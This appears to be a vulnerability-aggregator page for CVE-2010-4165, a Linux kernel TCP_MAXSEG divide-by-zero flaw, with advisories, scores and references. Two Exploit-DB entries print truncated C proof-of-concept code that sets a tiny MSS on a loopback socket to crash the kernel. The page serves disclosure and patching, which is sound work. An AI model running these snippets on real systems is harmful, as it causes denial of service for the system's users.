CVE-2010-4165
published 2010-11-22CVE-2010-4165: The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows…
PriorityP420medium4.9CVSS 2.0
AVLACLAuNCNINAC
EXPLOIT
EPSS
1.35%
68.7th percentile
The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| linux | linux_kernel | < 2.6.37 | 2.6.37 |
| linux | linux_kernel | — | — |
| opensuse | opensuse | — | — |
| opensuse | opensuse | — | — |
| suse | linux_enterprise_desktop | — | — |
| suse | linux_enterprise_real_time_extension | — | — |
| suse | linux_enterprise_server | — | — |
CVSS provenance
nvdv2.04.9MEDIUMAV:L/AC:L/Au:N/C:N/I:N/A:C
vendor_ubuntu7.2HIGH
vendor_redhat4.9MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-08-09·CVSS 1.9
CVE-2010-4249 [LOW] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel flaws have been fixed.
Dan Rosenberg discovered that IPC structures were not correctly initialized
on 64bit systems. A local attacker could exploit this to read kernel stack
memory, leading to a loss of privacy. (CVE-2010-4073)
Steve Chen discovered that setsockopt did not correctly check MSS values. A
local attacker could make a specially crafted socket call to crash the
system, leading to a denial of service. (CVE-2010-4165)
Vladymyr Denysov discovered that Xen virtual CD-ROM devices were not
handled correctly. A local attacker in a guest could make crafted blkback
requests that would crash the host, leading to a denial of service.
(CVE-2010-4238)
Vegard Nossum discovered that memory garbage collection was not handled
corr
Ubuntu
Linux kernel (OMAP4) vulnerabilities
vendor_ubuntu·2011-04-20·CVSS 4.9
CVE-2010-2954 [MEDIUM] Linux kernel (OMAP4) vulnerabilities
Title: Linux kernel (OMAP4) vulnerabilities
Summary: Multiple security flaws have been fixed in the OMAP4 port of the Linux kernel.
Dan Rosenberg discovered that the RDS network protocol did not correctly
check certain parameters. A local attacker could exploit this gain root
privileges. (CVE-2010-3904)
Nelson Elhage discovered several problems with the Acorn Econet protocol
driver. A local user could cause a denial of service via a NULL pointer
dereference, escalate privileges by overflowing the kernel stack, and
assign Econet addresses to arbitrary interfaces. (CVE-2010-3848,
CVE-2010-3849, CVE-2010-3850)
Ben Hawkes discovered that the Linux kernel did not correctly validate
memory ranges on 64bit kernels when allocating memory on behalf of 32bit
system calls. On a 64bit system, a lo
Ubuntu
Linux Kernel vulnerabilities (Marvell Dove)
vendor_ubuntu·2011-03-25·CVSS 7.2
CVE-2010-2478 [HIGH] Linux Kernel vulnerabilities (Marvell Dove)
Title: Linux Kernel vulnerabilities (Marvell Dove)
Summary: An attacker could send crafted input to the kernel and cause it to
crash.
Dan Rosenberg discovered that the RDS network protocol did not correctly
check certain parameters. A local attacker could exploit this gain root
privileges. (CVE-2010-3904)
Nelson Elhage discovered several problems with the Acorn Econet protocol
driver. A local user could cause a denial of service via a NULL pointer
dereference, escalate privileges by overflowing the kernel stack, and
assign Econet addresses to arbitrary interfaces. (CVE-2010-3848,
CVE-2010-3849, CVE-2010-3850)
Ben Hutchings discovered that the ethtool interface did not correctly check
certain sizes. A local attacker could perform malicious ioctl calls that
could crash the system, leadin
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-03-03·CVSS 4.7
CVE-2009-4895 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel flaws.
Dan Rosenberg discovered that the RDS network protocol did not correctly
check certain parameters. A local attacker could exploit this gain root
privileges. (CVE-2010-3904)
Nelson Elhage discovered several problems with the Acorn Econet protocol
driver. A local user could cause a denial of service via a NULL pointer
dereference, escalate privileges by overflowing the kernel stack, and
assign Econet addresses to arbitrary interfaces. (CVE-2010-3848,
CVE-2010-3849, CVE-2010-3850)
Ben Hawkes discovered that the Linux kernel did not correctly filter
registers on 64bit kernels when performing 32bit system calls. On a 64bit
system, a local attacker could manipulate 32bit system calls to gain root
privileges. (CVE-2010-3301)
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-02-28·CVSS 4.7
CVE-2009-4895 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel flaws.
Dan Rosenberg discovered that the RDS network protocol did not correctly
check certain parameters. A local attacker could exploit this gain root
privileges. (CVE-2010-3904)
Nelson Elhage discovered several problems with the Acorn Econet protocol
driver. A local user could cause a denial of service via a NULL pointer
dereference, escalate privileges by overflowing the kernel stack, and
assign Econet addresses to arbitrary interfaces. (CVE-2010-3848,
CVE-2010-3849, CVE-2010-3850)
Ben Hawkes discovered that the Linux kernel did not correctly filter
registers on 64bit kernels when performing 32bit system calls. On a 64bit
system, a local attacker could manipulate 32bit system calls to gain root
privileges. (CVE-2010-3301)
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-02-25·CVSS 4.6
CVE-2010-4078 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel flaws.
Gleb Napatov discovered that KVM did not correctly check certain privileged
operations. A local attacker with access to a guest kernel could exploit
this to crash the host system, leading to a denial of service.
(CVE-2010-0435)
Dan Jacobson discovered that ThinkPad video output was not correctly access
controlled. A local attacker could exploit this to hang the system, leading
to a denial of service. (CVE-2010-3448)
It was discovered that KVM did not correctly initialize certain CPU
registers. A local attacker could exploit this to crash the system, leading
to a denial of service. (CVE-2010-3698)
Dan Rosenberg discovered that the Linux kernel TIPC implementation
contained multiple integer signedness errors. A local at
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-02-25·CVSS 4.7
CVE-2009-4895 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel flaws.
Al Viro discovered a race condition in the TTY driver. A local attacker
could exploit this to crash the system, leading to a denial of service.
(CVE-2009-4895)
Dan Rosenberg discovered that the MOVE_EXT ext4 ioctl did not correctly
check file permissions. A local attacker could overwrite append-only files,
leading to potential data loss. (CVE-2010-2066)
Dan Rosenberg discovered that the swapexit xfs ioctl did not correctly
check file permissions. A local attacker could exploit this to read from
write-only files, leading to a loss of privacy. (CVE-2010-2226)
Gael Delalleu, Rafal Wojtczuk, and Brad Spengler discovered that the memory
manager did not properly handle when applications grow stacks into adjacent
memory regi
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2011-02-01·CVSS 4.6
CVE-2010-4079 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Multiple kernel vulnerablilities.
Gleb Napatov discovered that KVM did not correctly check certain privileged
operations. A local attacker with access to a guest kernel could exploit
this to crash the host system, leading to a denial of service.
(CVE-2010-0435)
Dan Rosenberg discovered that the Linux kernel TIPC implementation
contained multiple integer signedness errors. A local attacker could
exploit this to gain root privileges. (CVE-2010-3859)
Dan Rosenberg discovered that the Linux kernel X.25 implementation
incorrectly parsed facilities. A remote attacker could exploit this to
crash the kernel, leading to a denial of service. (CVE-2010-3873)
Dan Rosenberg discovered that the CAN protocol on 64bit systems did not
correctly calculate th
Red Hat
kernel: possible kernel oops from user MSS
vendor_redhat·2010-11-10·CVSS 4.9
CVE-2010-4165 [MEDIUM] kernel: possible kernel oops from user MSS
kernel: possible kernel oops from user MSS
The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.
Statement: This issue did not affect the versions of Linux kernel as shipped with Red Hat Enterprise Linux 4 and 5 as they did not backport the upstream commit that introduced the issue. This has been addressed in Red Hat Enterprise Linux 6 and Red Hat Enterprise MRG via https://rhn.redhat.com/errata/RHSA-2011-0283.html and https://rhn.redhat.com/errata/RHSA-2011-0330.html.
GHSA
GHSA-2x85-3pxc-c227: The do_tcp_setsockopt function in net/ipv4/tcp
ghsa_unreviewed·2022-05-13
CVE-2010-4165 [MEDIUM] CWE-369 GHSA-2x85-3pxc-c227: The do_tcp_setsockopt function in net/ipv4/tcp
The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.
No detection rules found.
Exploit-DB
Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)
exploitdb·2011-03-10·CVSS 4.9
CVE-2010-4165 [MEDIUM] Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)
Linux Kernel
#include
#include
#include
#include
#include
int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.\n");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.\n");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.\n");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.\n");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
Exploit-DB
Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)
exploitdb·2011-03-02·CVSS 4.9
CVE-2010-4165 [MEDIUM] Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)
Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)
---
/* Linux Kernel
#include
#include
#include
#include
#include
int main() {
int optval, optlen, ret, sd, sd2, pid;
char *host = "localhost";
struct sockaddr_in locAddr;
struct sockaddr_in servAddr;
struct sockaddr_in dstAddr;
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
memset(&servAddr,0,sizeof(servAddr));
memset(&dstAddr,0,sizeof(dstAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(60000);
servAddr.sin_addr.s_addr = INADDR_ANY;
dstAddr.sin_family = AF_INET;
inet_aton("127.0.0.1", &dstAddr.sin_addr);
dstAddr.sin_port = htons(60000);
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
printf("[ Cannot bind listener service\n");
Bugzilla
CVE-2010-4165 kernel: possible kernel oops from user MSS
bugzilla·2010-11-12·CVSS 4.9
CVE-2010-4165 [MEDIUM] CVE-2010-4165 kernel: possible kernel oops from user MSS
CVE-2010-4165 kernel: possible kernel oops from user MSS
With commit f5fff5dc8a7a3f395b0525c02ba92c95d42b7390, a user program
can pass in TCP_MAXSEG of 12 (or TCPOLEN_TSTAMP_ALIGNED), and cause
kernel oops with division by 0 in tcp_select_initial_window.
Proposed patch:
http://www.spinics.net/lists/netdev/msg146495.html
Reference:
http://www.spinics.net/lists/netdev/msg146405.html
Acknowledgements:
Red Hat would like to thank Steve Chen for reporting this issue.
Discussion:
Statement:
This issue did not affect the versions of Linux kernel as shipped with Red Hat Enterprise Linux 4 and 5 as they did not backport the upstream commit that introduced the issue. This has been addressed in Red Hat Enterprise Linux 6 and Red Hat Enterprise MRG via https://rhn.redhat.com/errata/RHSA-2011-0
arXiv
Quantitative Analysis of Active Cyber Defenses Based on Temporal Platform Diversity
arxiv_fulltext·2014-01-31
Quantitative Analysis of Active Cyber Defenses Based on Temporal Platform Diversity
Quantitative Analysis of Active Cyber Defenses Based on Temporal Platform DiversityThis work is sponsored by the Department of Defense under Air Force Contract FA8721-05-C-0002. Opinions, interpretations, conclusions and recommendations are those of the author and are not necessarily endorsed by the United States Government.
3
Kevin M. Carter
MIT Lincoln Laboratory
244 Wood St.
Lexington, MA 02420
[email protected]
Hamed Okhravi
MIT Lincoln Laboratory
244 Wood St.
Lexington, MA 02420
[email protected]
James Riordan
MIT Lincoln Laboratory
244 Wood St.
Lexington, MA 02420
[email protected]
## Abstract
Active cyber defenses based on temporal platform diversity have been proposed
as way to make systems more resistant to attacks. These defenses change the p
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=7a1abd08d52fdeddb3e9a5a33f2f15cc6a5674d2http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00000.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-01/msg00001.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-01/msg00004.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-02/msg00000.htmlhttp://secunia.com/advisories/42778http://secunia.com/advisories/42801http://secunia.com/advisories/42932http://securityreason.com/securityalert/8111http://securityreason.com/securityalert/8123http://www.kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.37-rc2http://www.mandriva.com/security/advisories?name=MDVSA-2011:029http://www.mandriva.com/security/advisories?name=MDVSA-2011:051http://www.openwall.com/lists/oss-security/2010/11/12/1http://www.openwall.com/lists/oss-security/2010/11/12/4http://www.osvdb.org/69241http://www.securityfocus.com/bid/44830http://www.spinics.net/lists/netdev/msg146405.htmlhttp://www.spinics.net/lists/netdev/msg146495.htmlhttp://www.vupen.com/english/advisories/2011/0012http://www.vupen.com/english/advisories/2011/0124http://www.vupen.com/english/advisories/2011/0298https://bugzilla.redhat.com/show_bug.cgi?id=652508http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=7a1abd08d52fdeddb3e9a5a33f2f15cc6a5674d2http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00000.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-01/msg00001.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-01/msg00004.htmlhttp://lists.opensuse.org/opensuse-security-announce/2011-02/msg00000.htmlhttp://secunia.com/advisories/42778http://secunia.com/advisories/42801http://secunia.com/advisories/42932http://securityreason.com/securityalert/8111http://securityreason.com/securityalert/8123http://www.kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.37-rc2http://www.mandriva.com/security/advisories?name=MDVSA-2011:029http://www.mandriva.com/security/advisories?name=MDVSA-2011:051http://www.openwall.com/lists/oss-security/2010/11/12/1http://www.openwall.com/lists/oss-security/2010/11/12/4http://www.osvdb.org/69241http://www.securityfocus.com/bid/44830http://www.spinics.net/lists/netdev/msg146405.htmlhttp://www.spinics.net/lists/netdev/msg146495.htmlhttp://www.vupen.com/english/advisories/2011/0012http://www.vupen.com/english/advisories/2011/0124http://www.vupen.com/english/advisories/2011/0298https://bugzilla.redhat.com/show_bug.cgi?id=652508
2010-11-22
Published